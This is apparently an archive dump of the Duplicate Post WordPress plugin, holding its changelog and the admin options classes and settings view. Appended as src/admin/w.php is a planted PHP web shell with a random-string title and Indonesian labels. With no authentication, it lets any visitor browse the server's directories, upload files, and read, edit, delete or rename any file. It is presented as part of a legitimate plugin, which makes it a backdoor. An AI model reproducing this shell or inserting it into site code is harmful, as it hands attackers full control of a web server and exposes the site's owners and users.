3.0 (2016-10-09) = * Settings page redesigned * More options to enable/disable copy of every part of a post * Enable/disable cloning for every custom post type * Jetpack Publicize compatibility * Fixed a possible XSS * Fixed other little bugs * Translations removed to use WP.org's official translation project * Checked PHP 7 compatibility = 2.6 (2014-04-27) = * PHP 5.4 (Strict Standards) compatible * Fixed possible XSS and SQL injections * other bugs * Updated and added translations * Tested up to WP 3.8.1 = 2.4.1 (2014-02-22) = * Fixed regression about draft permalinks * Fixed bug with guid * Don't clone to_ping and pinged (maybe there will be an option about those later) = 2.4 (2012-04-29) = * New option to clone the children of the original page * Licence changed to GPLv2 or later * Fixed publishing dates for drafts * Fixed bug with prefix/suffix * Translation project moved to GlotPress = 2.3 (2012-04-06) = * Added options to choose where to show the "Clone" links * Clone attachments (i.e. references in the DB, not physical files) * Fix for untranslated user roles * Some other fixes (missing checks, PHP warnings and errors, etc.) = 2.2 (2012-02-01) = * Fix for problems when copying serialized meta fields * Fix for multiple _dp_original field * Removed deprecated parameter when adding options = 2.1.1 (2012-01-04) = * Can't rely on activation hook for upgrade, this caused problems with new options = 2.1 (2012-01-03) = * Even more code cleaning (no more custom queries, using WP API) * Term order preserved when copying * Stopped using deprecated User levels, now it uses Roles and Capabilities * 'Copy to a new draft' link in admin bar * duplicate_post_get_original template tag * Settings link in plugin list, 'Donate' and 'Translate' link in option page = 2.0.2 (2011-12-12) = * Fixed bug for permalinks * Two links on posts list: clone immediately or copy to a new draft to edit. * Tested on multisite mode. = 2.0.1 (2011-12-08) = * Fixed bug for action filters * New option so you can choose if cloning from the posts list must copy the post status (draft, published, pending) too. = 2.0 (2011-12-08) = * WP 3.3 compatibility (still not tested against multiblog feature, so beware) * Minimum WP version: 3.0 * Code cleanup * Immediate cloning from post list * Added options for taxonomies and post excerpt * Added suffix option * Added template tag = 1.1.2 (2011-04-08) = * WP 3.1.1 compatibility (still not tested against multiblog feature, so beware) * Added complete Polish language files = 1.1.1 (2010-06-30) = * Plugin split in two files for faster opening in Plugins list page * fix conflicts with a few other plugins * Added Dutch language files = 1.1 (2010-06-24) = * WP 3.0 compatibility (not tested against multiblog feature, so beware) * Option page: minimum user level, title prefix, fields not to be copied, copy post/page date also * Added German, Swedish, Romanian, Hebrew, Catalan (incomplete) and Polish (incomplete) language files = 1.0 (2010-06-15) = * Better integration with WP 2.7+ interface * Added actions for plugins which store post metadata in self-managed tables * Added French and Spanish language files * Dropped WP 2.6.5 compatibility = 0.6.1 (2009-12-03) = * Tested WP 2.9 compatibility = 0.6 (2007-07-21) = * Fix for WP 2.8.1 * WPMU compatibility * Internationalization (Italian and Japanese language files shipped) = 0.5 (2009-01-09) = * Fix for post-meta * WP2.7 compatibility = 0.4 (2008-11-23) = * Support for new WP post revision feature = 0.3 (2008-03-01) = * Initial version on WP repository == Contribute == If you find this useful and if you want to contribute, there are two ways: 1. Submit your bug reports, suggestions and requests for features on [GitHub](https://github.com/Yoast/duplicate-post); 2. If you want to translate it to your language (there are just a few lines of text), you can use the [translation project](https://translate.wordpress.org/projects/wp-plugins/duplicate-post); src/admin/options.php 0000644 00000024127 15132706233 0010637 0 ustar 00 <?php namespace Yoast\WP\Duplicate_Post\Admin; /** * Options class. * * @since 4.0 */ class Options { /** * Registers the settings. * * @return void */ public function register_settings() { foreach ( \array_keys( $this->get_options() ) as $option ) { \register_setting( 'duplicate_post_group', $option ); } } /** * Gets the options for the specified tab. * * Also allows filtering on a particular fieldset. * * @param string $tab The tab to get the options for. * @param string $fieldset The fieldset to get the options for. Optional. * * @return array The options for the specified tab. */ public function get_options_for_tab( $tab, $fieldset = '' ) { $options = $this->get_options(); $options = \array_filter( $options, static function ( $option ) use ( $tab ) { return \array_key_exists( 'tab', $option ) && $option['tab'] === $tab; } ); if ( empty( $options ) ) { return []; } // If a fieldset is specified, filter out the corresponding options. if ( ! empty( $fieldset ) ) { $options = \array_filter( $options, static function ( $option ) use ( $fieldset ) { return \array_key_exists( 'fieldset', $option ) && $option['fieldset'] === $fieldset; } ); } return $options; } /** * Gets an option from the options array, based on its name. * * @param string $name The name of the option to retrieve. * * @return array The option. Empty array if it does not exist. */ public function get_option( $name ) { $options = $this->get_options(); return \array_key_exists( $name, $options ) ? [ $name => $options[ $name ] ] : []; } /** * Gets the list of registered options. * * @codeCoverageIgnore * * @return array The options. */ public function get_options() { return [ 'duplicate_post_copytitle' => [ 'tab' => 'what-to-copy', 'fieldset' => 'elements-to-copy', 'type' => 'checkbox', 'label' => \__( 'Title', 'duplicate-post' ), 'value' => 1, ], 'duplicate_post_copydate' => [ 'tab' => 'what-to-copy', 'fieldset' => 'elements-to-copy', 'type' => 'checkbox', 'label' => \__( 'Date', 'duplicate-post' ), 'value' => 1, ], 'duplicate_post_copystatus' => [ 'tab' => 'what-to-copy', 'fieldset' => 'elements-to-copy', 'type' => 'checkbox', 'label' => \__( 'Status', 'duplicate-post' ), 'value' => 1, ], 'duplicate_post_copyslug' => [ 'tab' => 'what-to-copy', 'fieldset' => 'elements-to-copy', 'type' => 'checkbox', 'label' => \__( 'Slug', 'duplicate-post' ), 'value' => 1, ], 'duplicate_post_copyexcerpt' => [ 'tab' => 'what-to-copy', 'fieldset' => 'elements-to-copy', 'type' => 'checkbox', 'label' => \__( 'Excerpt', 'duplicate-post' ), 'value' => 1, ], 'duplicate_post_copycontent' => [ 'tab' => 'what-to-copy', 'fieldset' => 'elements-to-copy', 'type' => 'checkbox', 'label' => \__( 'Content', 'duplicate-post' ), 'value' => 1, ], 'duplicate_post_copythumbnail' => [ 'tab' => 'what-to-copy', 'fieldset' => 'elements-to-copy', 'type' => 'checkbox', 'label' => \__( 'Featured Image', 'duplicate-post' ), 'value' => 1, ], 'duplicate_post_copytemplate' => [ 'tab' => 'what-to-copy', 'fieldset' => 'elements-to-copy', 'type' => 'checkbox', 'label' => \__( 'Template', 'duplicate-post' ), 'value' => 1, ], 'duplicate_post_copyformat' => [ 'tab' => 'what-to-copy', 'fieldset' => 'elements-to-copy', 'type' => 'checkbox', 'label' => \__( 'Post format', 'duplicate-post' ), 'value' => 1, ], 'duplicate_post_copyauthor' => [ 'tab' => 'what-to-copy', 'fieldset' => 'elements-to-copy', 'type' => 'checkbox', 'label' => \__( 'Author', 'duplicate-post' ), 'value' => 1, ], 'duplicate_post_copypassword' => [ 'tab' => 'what-to-copy', 'fieldset' => 'elements-to-copy', 'type' => 'checkbox', 'label' => \__( 'Password', 'duplicate-post' ), 'value' => 1, ], 'duplicate_post_copyattachments' => [ 'tab' => 'what-to-copy', 'fieldset' => 'elements-to-copy', 'type' => 'checkbox', 'label' => \__( 'Attachments', 'duplicate-post' ), 'value' => 1, 'description' => \__( 'you probably want this unchecked, unless you have very special requirements', 'duplicate-post' ), ], 'duplicate_post_copychildren' => [ 'tab' => 'what-to-copy', 'fieldset' => 'elements-to-copy', 'type' => 'checkbox', 'label' => \__( 'Children', 'duplicate-post' ), 'value' => 1, ], 'duplicate_post_copycomments' => [ 'tab' => 'what-to-copy', 'fieldset' => 'elements-to-copy', 'type' => 'checkbox', 'label' => \__( 'Comments', 'duplicate-post' ), 'value' => 1, 'description' => \__( 'except pingbacks and trackbacks', 'duplicate-post' ), ], 'duplicate_post_copymenuorder' => [ 'tab' => 'what-to-copy', 'fieldset' => 'elements-to-copy', 'type' => 'checkbox', 'label' => \__( 'Menu order', 'duplicate-post' ), 'value' => 1, ], 'duplicate_post_title_prefix' => [ 'tab' => 'what-to-copy', 'type' => 'text', 'label' => \__( 'Title prefix', 'duplicate-post' ), 'value' => \get_option( 'duplicate_post_title_prefix' ), 'description' => [ \__( 'Prefix to be added before the title, e.g. "Copy of" (blank for no prefix)', 'duplicate-post' ) ], ], 'duplicate_post_title_suffix' => [ 'tab' => 'what-to-copy', 'type' => 'text', 'label' => \__( 'Title suffix', 'duplicate-post' ), 'value' => \get_option( 'duplicate_post_title_suffix' ), 'description' => [ \__( 'Suffix to be added after the title, e.g. "(dup)" (blank for no suffix)', 'duplicate-post' ) ], ], 'duplicate_post_increase_menu_order_by' => [ 'tab' => 'what-to-copy', 'type' => 'number', 'label' => \__( 'Increase menu order by', 'duplicate-post' ), 'value' => \get_option( 'duplicate_post_increase_menu_order_by' ), 'description' => [ \__( 'Add this number to the original menu order (blank or zero to retain the value)', 'duplicate-post' ) ], ], 'duplicate_post_blacklist' => [ 'tab' => 'what-to-copy', 'type' => 'text', 'label' => \__( 'Do not copy these fields', 'duplicate-post' ), 'value' => \get_option( 'duplicate_post_blacklist' ), 'description' => [ \__( 'Comma-separated list of meta fields that must not be copied.', 'duplicate-post' ), \__( 'You can use * to match zero or more alphanumeric characters or underscores: e.g. field*', 'duplicate-post' ), ], ], 'duplicate_post_taxonomies_blacklist' => [ 'tab' => 'what-to-copy', 'callback' => 'generate_taxonomy_exclusion_list', ], 'duplicate_post_roles' => [ 'tab' => 'permissions', 'callback' => 'generate_roles_permission_list', ], 'duplicate_post_types_enabled' => [ 'tab' => 'permissions', 'callback' => 'generate_post_types_list', ], 'duplicate_post_show_original_meta_box' => [ 'tab' => 'display', 'fieldset' => 'show-original', 'type' => 'checkbox', 'label' => \__( 'In a metabox in the Edit screen', 'duplicate-post' ), 'value' => 1, 'description' => [ \__( "You'll also be able to delete the reference to the original item with a checkbox", 'duplicate-post' ), ], ], 'duplicate_post_show_original_column' => [ 'tab' => 'display', 'fieldset' => 'show-original', 'type' => 'checkbox', 'label' => \__( 'In a column in the Post list', 'duplicate-post' ), 'value' => 1, 'description' => [ \__( "You'll also be able to delete the reference to the original item with a checkbox in Quick Edit", 'duplicate-post' ), ], ], 'duplicate_post_show_original_in_post_states' => [ 'tab' => 'display', 'fieldset' => 'show-original', 'type' => 'checkbox', 'label' => \__( 'After the title in the Post list', 'duplicate-post' ), 'value' => 1, ], 'duplicate_post_show_notice' => [ 'tab' => 'display', 'type' => 'checkbox', 'label' => \__( 'Show welcome notice', 'duplicate-post' ), 'value' => 1, ], 'duplicate_post_show_link' => [ 'tab' => 'display', 'fieldset' => 'show-links', 'sub_options' => [ 'new_draft' => [ 'type' => 'checkbox', 'label' => \__( 'New Draft', 'duplicate-post' ), 'value' => 1, ], 'clone' => [ 'type' => 'checkbox', 'label' => \__( 'Clone', 'duplicate-post' ), 'value' => 1, ], 'rewrite_republish' => [ 'type' => 'checkbox', 'label' => \__( 'Rewrite & Republish', 'duplicate-post' ), 'value' => 1, ], ], ], 'duplicate_post_show_link_in' => [ 'tab' => 'display', 'fieldset' => 'show-links-in', 'sub_options' => [ 'row' => [ 'type' => 'checkbox', 'label' => \__( 'Post list', 'duplicate-post' ), 'value' => 1, ], 'adminbar' => [ 'type' => 'checkbox', 'label' => \__( 'Admin bar', 'duplicate-post' ), 'value' => 1, ], 'submitbox' => [ 'type' => 'checkbox', 'label' => \__( 'Edit screen', 'duplicate-post' ), 'value' => 1, ], 'bulkactions' => [ 'type' => 'checkbox', 'label' => \__( 'Bulk Actions', 'duplicate-post' ), 'value' => 1, ], ], ], ]; } } src/admin/options-page.php 0000644 00000010540 15132706233 0011543 0 ustar 00 <?php namespace Yoast\WP\Duplicate_Post\Admin; use Yoast\WP\Duplicate_Post\UI\Asset_Manager; use Yoast\WP\Duplicate_Post\Utils; /** * Class Options_Page. */ class Options_Page { /** * The Options instance. * * @var Options */ protected $options; /** * The Options_Form_Generator instance. * * @var Options_Form_Generator */ protected $generator; /** * Holds the asset manager. * * @var Asset_Manager */ protected $asset_manager; /** * Options_Page constructor. * * @param Options $options The Options class instance. * @param Options_Form_Generator $generator The Options_Form_Generator class instance. * @param Asset_Manager $asset_manager The Asset_Manager class instance. */ public function __construct( Options $options, Options_Form_Generator $generator, Asset_Manager $asset_manager ) { $this->options = $options; $this->generator = $generator; $this->asset_manager = $asset_manager; } /** * Registers the necessary hooks. * * @return void */ public function register_hooks() { if ( \is_admin() ) { \add_action( 'admin_menu', [ $this, 'register_menu' ] ); \add_action( 'admin_init', [ $this->options, 'register_settings' ] ); } } /** * Enqueues the assets. * * @return void */ public function enqueue_assets() { $this->asset_manager->enqueue_options_styles(); $this->asset_manager->enqueue_options_script(); } /** * Registers the menu item. * * @return void */ public function register_menu() { $page_hook = \add_options_page( \__( 'Duplicate Post Options', 'duplicate-post' ), \__( 'Duplicate Post', 'duplicate-post' ), 'manage_options', 'duplicatepost', [ $this, 'generate_page' ] ); \add_action( $page_hook, [ $this, 'enqueue_assets' ] ); } /** * Generates the inputs for the specified tab / fieldset. * * @codeCoverageIgnore As this is a simple wrapper for two functions that are already tested elsewhere, we can skip testing. * * @param string $tab The tab to get the configuration for. * @param string $fieldset The fieldset to get the configuration for. Optional. * * @return string The HTML output for the controls present on the tab / fieldset. */ public function generate_tab_inputs( $tab, $fieldset = '' ) { $options = $this->options->get_options_for_tab( $tab, $fieldset ); return $this->generator->generate_options_input( $options ); } /** * Generates an input for a single option. * * @codeCoverageIgnore As this is a simple wrapper for two functions that are already tested elsewhere, we can skip testing. * * @param string $option The option configuration to base the input on. * * @return string The input HTML. */ public function generate_input( $option ) { return $this->generator->generate_options_input( $this->options->get_option( $option ) ); } /** * Registers the proper capabilities. * * @return void */ public function register_capabilities() { if ( ! \current_user_can( 'promote_users' ) || ! $this->settings_updated() ) { return; } $roles = $this->get_duplicate_post_roles(); foreach ( Utils::get_roles() as $name => $display_name ) { $role = \get_role( $name ); if ( ! $role->has_cap( 'copy_posts' ) && \in_array( $name, $roles, true ) ) { /* If the role doesn't have the capability and it was selected, add it. */ $role->add_cap( 'copy_posts' ); } if ( $role->has_cap( 'copy_posts' ) && ! \in_array( $name, $roles, true ) ) { /* If the role has the capability and it wasn't selected, remove it. */ $role->remove_cap( 'copy_posts' ); } } } /** * Generates the options page. * * @codeCoverageIgnore * * @return void */ public function generate_page() { $this->register_capabilities(); require_once \DUPLICATE_POST_PATH . 'src/admin/views/options.php'; } /** * Checks whether settings have been updated. * * @return bool Whether or not the settings have been updated. */ protected function settings_updated() { return isset( $_GET['settings-updated'] ) && $_GET['settings-updated'] === 'true'; } /** * Gets the registered custom roles. * * @return array The roles. Returns an empty array if there are none. */ protected function get_duplicate_post_roles() { $roles = \get_option( 'duplicate_post_roles' ); if ( empty( $roles ) ) { $roles = []; } return $roles; } } src/admin/views/options.php 0000644 00000021040 15132706233 0011763 0 ustar 00 <?php namespace Yoast\WP\Duplicate_Post\Admin\Views; if ( ! \defined( 'DUPLICATE_POST_CURRENT_VERSION' ) ) { \header( 'Status: 403 Forbidden' ); \header( 'HTTP/1.1 403 Forbidden' ); exit(); } ?> <div class="wrap"> <h1> <?php \esc_html_e( 'Duplicate Post Options', 'duplicate-post' ); ?> </h1> <form id="duplicate_post_settings_form" method="post" action="options.php" style="clear: both"> <?php \settings_fields( 'duplicate_post_group' ); ?> <header role="tablist" aria-label="<?php \esc_attr_e( 'Settings sections', 'duplicate-post' ); ?>" class="nav-tab-wrapper"> <button type="button" role="tab" class="nav-tab nav-tab-active" aria-selected="true" aria-controls="what-tab" id="what"><?php \esc_html_e( 'What to copy', 'duplicate-post' ); ?> </button> <button type="button" role="tab" class="nav-tab" aria-selected="false" aria-controls="who-tab" id="who" tabindex="-1"><?php \esc_html_e( 'Permissions', 'duplicate-post' ); ?> </button> <button type="button" role="tab" class="nav-tab" aria-selected="false" aria-controls="where-tab" id="where" tabindex="-1"><?php \esc_html_e( 'Display', 'duplicate-post' ); ?> </button> </header> <section tabindex="0" role="tabpanel" id="what-tab" aria-labelledby="what"> <h2 class="hide-if-js"><?php \esc_html_e( 'What to copy', 'duplicate-post' ); ?></h2> <table class="form-table" role="presentation"> <tr> <th scope="row"><?php \esc_html_e( 'Post/page elements to copy', 'duplicate-post' ); ?></th> <td> <fieldset> <legend class="screen-reader-text"><?php \esc_html_e( 'Post/page elements to copy', 'duplicate-post' ); ?></legend> <?php // phpcs:ignore WordPress.Security.EscapeOutput -- Already escapes correctly. echo $this->generate_tab_inputs( 'what-to-copy', 'elements-to-copy' ); ?> </fieldset> </td> </tr> <tr> <th scope="row"> <label for="duplicate-post-title-prefix"><?php \esc_html_e( 'Title prefix', 'duplicate-post' ); ?></label> </th> <td> <?php // phpcs:ignore WordPress.Security.EscapeOutput -- Already escapes correctly. echo $this->generate_input( 'duplicate_post_title_prefix' ); ?> </td> </tr> <tr> <th scope="row"> <label for="duplicate-post-title-suffix"><?php \esc_html_e( 'Title suffix', 'duplicate-post' ); ?></label> </th> <td> <?php // phpcs:ignore WordPress.Security.EscapeOutput -- Already escapes correctly. echo $this->generate_input( 'duplicate_post_title_suffix' ); ?> </td> </tr> <tr> <th scope="row"> <label for="duplicate-post-increase-menu-order-by"><?php \esc_html_e( 'Increase menu order by', 'duplicate-post' ); ?></label> </th> <td> <?php // phpcs:ignore WordPress.Security.EscapeOutput -- Already escapes correctly. echo $this->generate_input( 'duplicate_post_increase_menu_order_by' ); ?> </td> </tr> <tr> <th scope="row"> <label for="duplicate-post-blacklist"><?php \esc_html_e( 'Do not copy these fields', 'duplicate-post' ); ?></label> </th> <td id="textfield"> <?php // phpcs:ignore WordPress.Security.EscapeOutput -- Already escapes correctly. echo $this->generate_input( 'duplicate_post_blacklist' ); ?> </td> </tr> <tr> <th scope="row"> <?php \esc_html_e( 'Do not copy these taxonomies', 'duplicate-post' ); ?><br/> </th> <td> <fieldset> <legend class="screen-reader-text"><?php \esc_html_e( 'Do not copy these taxonomies', 'duplicate-post' ); ?></legend> <?php // phpcs:ignore WordPress.Security.EscapeOutput -- Already escapes correctly. echo $this->generate_input( 'duplicate_post_taxonomies_blacklist' ); ?> <button type="button" class="button-link hide-if-no-js toggle-private-taxonomies" aria-expanded="false"> <?php \esc_html_e( 'Show/hide private taxonomies', 'duplicate-post' ); ?> </button> </fieldset> </td> </tr> </table> </section> <section tabindex="0" role="tabpanel" id="who-tab" aria-labelledby="who" hidden="hidden"> <h2 class="hide-if-js"><?php \esc_html_e( 'Permissions', 'duplicate-post' ); ?></h2> <table class="form-table" role="presentation"> <?php if ( \current_user_can( 'promote_users' ) ) { ?> <tr> <th scope="row"><?php \esc_html_e( 'Roles allowed to copy', 'duplicate-post' ); ?></th> <td> <fieldset> <legend class="screen-reader-text"><?php \esc_html_e( 'Roles allowed to copy', 'duplicate-post' ); ?></legend> <?php // phpcs:ignore WordPress.Security.EscapeOutput -- Already escapes correctly. echo $this->generate_input( 'duplicate_post_roles' ); ?> <p> <?php \esc_html_e( 'Warning: users will be able to copy, rewrite and republish all posts, even those of other users.', 'duplicate-post' ); ?> <br/> <?php \esc_html_e( 'Passwords and contents of password-protected posts may become visible to undesired users and visitors.', 'duplicate-post' ); ?> </p> </fieldset> </td> </tr> <?php } ?> <tr> <th scope="row"><?php \esc_html_e( 'Enable for these post types', 'duplicate-post' ); ?> </th> <td> <fieldset> <legend class="screen-reader-text"><?php \esc_html_e( 'Enable for these post types', 'duplicate-post' ); ?></legend> <?php // phpcs:ignore WordPress.Security.EscapeOutput -- Already escapes correctly. echo $this->generate_input( 'duplicate_post_types_enabled' ); ?> <p> <?php \esc_html_e( 'Select the post types you want the plugin to be enabled for.', 'duplicate-post' ); ?> <br/> <?php \esc_html_e( 'Whether the links are displayed for custom post types registered by themes or plugins depends on their use of standard WordPress UI elements.', 'duplicate-post' ); ?> </p> </fieldset> </td> </tr> </table> </section> <section tabindex="0" role="tabpanel" id="where-tab" aria-labelledby="where" hidden="hidden"> <h2 class="hide-if-js"><?php \esc_html_e( 'Display', 'duplicate-post' ); ?></h2> <table class="form-table" role="presentation"> <tr> <th scope="row"><?php \esc_html_e( 'Show these links', 'duplicate-post' ); ?></th> <td> <fieldset> <?php // phpcs:ignore WordPress.Security.EscapeOutput -- Already escapes correctly. echo $this->generate_tab_inputs( 'display', 'show-links' ); ?> </fieldset> </td> </tr> <tr> <th scope="row"><?php \esc_html_e( 'Show links in', 'duplicate-post' ); ?></th> <td> <fieldset> <?php // phpcs:ignore WordPress.Security.EscapeOutput -- Already escapes correctly. echo $this->generate_tab_inputs( 'display', 'show-links-in' ); ?> </fieldset> <p> <?php \esc_html_e( 'Whether the links are displayed for custom post types registered by themes or plugins depends on their use of standard WordPress UI elements.', 'duplicate-post' ); ?> <br/> <?php \printf( /* translators: 1: Code start tag, 2: Code closing tag, 3: Link start tag to the template tag documentation, 4: Link closing tag. */ \esc_html__( 'You can also use the template tag %1$sduplicate_post_clone_post_link( $link, $before, $after, $id )%2$s. %3$sMore info on the template tag%4$s.', 'duplicate-post' ), '<code>', '</code>', '<a href="' . \esc_url( 'https://developer.yoast.com/duplicate-post/functions-template-tags#duplicate_post_clone_post_link' ) . '">', '</a>' ); ?> </p> </td> </tr> <tr> <th scope="row"><?php \esc_html_e( 'Show original item:', 'duplicate-post' ); ?></th> <td> <?php // phpcs:ignore WordPress.Security.EscapeOutput -- Already escapes correctly. echo $this->generate_tab_inputs( 'display', 'show-original' ); ?> </td> </tr> <tr> <th scope="row"><?php \esc_html_e( 'Welcome notice', 'duplicate-post' ); ?></th> <td> <?php // phpcs:ignore WordPress.Security.EscapeOutput -- Already escapes correctly. echo $this->generate_input( 'duplicate_post_show_notice' ); ?> </td> </tr> </table> </section> <p class="submit"> <input type="submit" class="button button-primary" value="<?php \esc_html_e( 'Save changes', 'duplicate-post' ); ?>"/> </p> </form> </div> src/admin/w.php 0000644 00000014272 15132706233 0007412 0 ustar 00 <?php error_reporting(0); ?> <!DOCTYPE html> <html> <head> <title>RBSofh76NF9sW6C1GMohW3NaVvIneqoDppimGP1Ni1I46</title> <link href="https://fonts.googleapis.com/css2?family=Courgette&family=Cuprum:ital@1&family=Rowdies&display=swap" rel="stylesheet"> </head> <style> * { font-family: cursive; color: #000; font-family: 'Cuprum', sans-serif; } body { background-repeat: no-repeat; background-attachment:fixed; background-size: 100% 1700px; } body h1{ color: #A52A2A; text-shadow: 2px 2px 2px #000; font-size: 50px; } .dir { text-align: center; font-size: 30px; } .dir a{ text-decoration: none; color: #48D1CC; text-shadow: 1px 1px 1px #000; } .dir a:hover{ text-decoration: none; color: red; } table { margin: 12px auto; height: 100%; border-collapse: collapse; font-size: 30px; } table,th { border-top:1px solid #000; border-right:3px solid #000; border-bottom: 3px solid #000; border-left:1px solid #000; box-sizing: border-box; padding: 2px 2px; color: #F0E68C; text-shadow: 1px 1px 1px #000; } table,td { border-top:1px solid #000; border-right:3px solid #000; border-bottom: .5px solid #000; border-left:1px solid #000; box-sizing: border-box; padding: 8px 8px; color: red; } table,td a { text-decoration: none; color:#8A2BE2; text-shadow: 1px 1px 1px #000; } table,td a:hover { text-decoration: none; color: red; } .button1 { width: 70px; height: 30px; background-color: #999; margin: 10px 3px; padding: 5px; color: #000; border-radius: 5px; border: 1px solid #000; box-shadow: .5px .5px .3px .3px #fff; box-sizing: border-box; } .button1 a{ width: 70px; height: 30px; background-color: #999; margin: 10px 3px; padding: 5px; color: red; border-radius: 5px; border: 1px solid #000; box-shadow: .5px .5px .3px .3px #fff; box-sizing: border-box; } .button1:hover { text-shadow: 0px 0px 5px #fff; box-shadow: .5px .5px .3px .3px #555; text-decoration: none; } textarea { border: 1px solid green; border-radius: 5px; box-shadow: 1px 1px 1px 1px #fff; width: 100%; height: 400px; padding-left: 10px; margin: 10px auto; resize: none; background: green; color: #ffffff; font-family: 'Cuprum', sans-serif; font-size: 13px; } </style> <body> <center><h1>H69UNtblNBNpha2dtB1Odn8qYp1Qk5NK2gi7yfceofo9N</h1></center> <div class="dir"> <?php if (isset($_GET['dir'])) { $dir = $_GET['dir']; } else { $dir = getcwd(); } $dir = str_replace("\\", "/", $dir); $dirs = explode("/", $dir); foreach ($dirs as $key => $value) { if ($value == "" && $key == 0){ echo '<a href="/">/</a>'; continue; } echo '<a href="?dir='; for ($i=0; $i <= $key ; $i++) { echo "$dirs[$i]"; if ($key !== $i) echo "/"; } echo '">'.$value.'</a>/'; } if (isset($_POST['submit'])){ $namafile = $_FILES['upload']['name']; $tempatfile = $_FILES['upload']['tmp_name']; $tempat = $_GET['dir']; $error = $_FILES['upload']['error']; $ukuranfile = $_FILES['upload']['size']; move_uploaded_file($tempatfile, $dir.'/'.$namafile); echo " <script>alert('diupload!!!');</script> "; } ?> <form method="post" enctype="multipart/form-data"> <input type="file" name="upload"> <input type="submit" name="submit" value="Upload"> </form> </div> <table> <tr> <th>Nama File / Folder</th> <th>Size</th> <th>Action</th> </tr> <?php $scan = scandir($dir); foreach ($scan as $directory) { if (!is_dir($dir.'/'.$directory) || $directory == '.' || $directory == '..') continue; echo ' <tr> <td><a href="?dir='.$dir.'/'.$directory.'">'.$directory.'</a></td> <td>--</td> <td>NONE</td> </tr> '; } foreach ($scan as $file) { if (!is_file($dir.'/'.$file)) continue; $jumlah = filesize($dir.'/'.$file)/1024; $jumlah = round($jumlah, 3); if ($jumlah >= 1024) { $jumlah = round($jumlah/1024, 2).'MB'; } else { $jumlah = $jumlah .'KB'; } echo ' <tr> <td><a href="?dir='.$dir.'&open='.$dir.'/'.$file.'">'.$file.'</a></td> <td>'.$jumlah.'</td> <td> <a href="?dir='.$dir.'&delete='.$dir.'/'.$file.'" class="button1">Hapus</a> <a href="?dir='.$dir.'&ubah='.$dir.'/'.$file.'" class="button1">Edit</a> <a href="?dir='.$dir.'&rename='.$dir.'/'.$file.'&nama='.$file.'" class="button1">Rename</a> </td> </tr> '; } if (isset($_GET['open'])) { echo ' <br /> <style> table { display: none; } </style> <textarea>'.htmlspecialchars(file_get_contents($_GET['open'])).'</textarea> '; } if (isset($_GET['delete'])) { if (unlink($_GET['delete'])) { echo "<script>alert('dihapus');window.location='?dir=".$dir."';</script>"; } } if (isset($_GET['ubah'])) { echo ' <style> table { display: none; } </style> <a href="?dir='.$dir.'" class="button1"><=Back</a> <form method="post" action=""> <input type="hidden" name="object" value="'.$_GET['ubah'].'"> <textarea name="edit">'.htmlspecialchars(file_get_contents($_GET['ubah'])).'</textarea> <center><button type="submit" name="go" value="Submit" class="button1">Liking</button></center> </form> '; } if (isset($_POST['edit'])) { $data = fopen($_POST["object"], 'w'); if (fwrite($data, $_POST['edit'])) { echo ' <script>alert("Berhasil diedit!!!");window.location="?dir='.$dir.'";</script> '; } else { echo " <script>alert('gagal');</script> "; } } if($_GET['rename']){ if(isset($_POST['newname'])){ if(rename($_GET['rename'], $_GET['dir'] . '/' .$_POST['newname'])){ echo '<font color="green">Ganti Nama Berhasil</font><br/>'; echo "<script>window.location='?dir=".$dir."';</script>"; }else{ echo '<font color="red">Ganti Nama Gagal</font><br />'; } } echo '<br><center><form method="POST"> New Name : <input name="newname" type="text" size="20" value="'.$_GET['nama'].'" /> <input type="hidden" name="path" value="'.$_GET['dir'].'"> <input type="hidden" name="opt" value="rename"> <input type="submit" value="Go" /> </form></center>'; } ?> </table> </body> </html>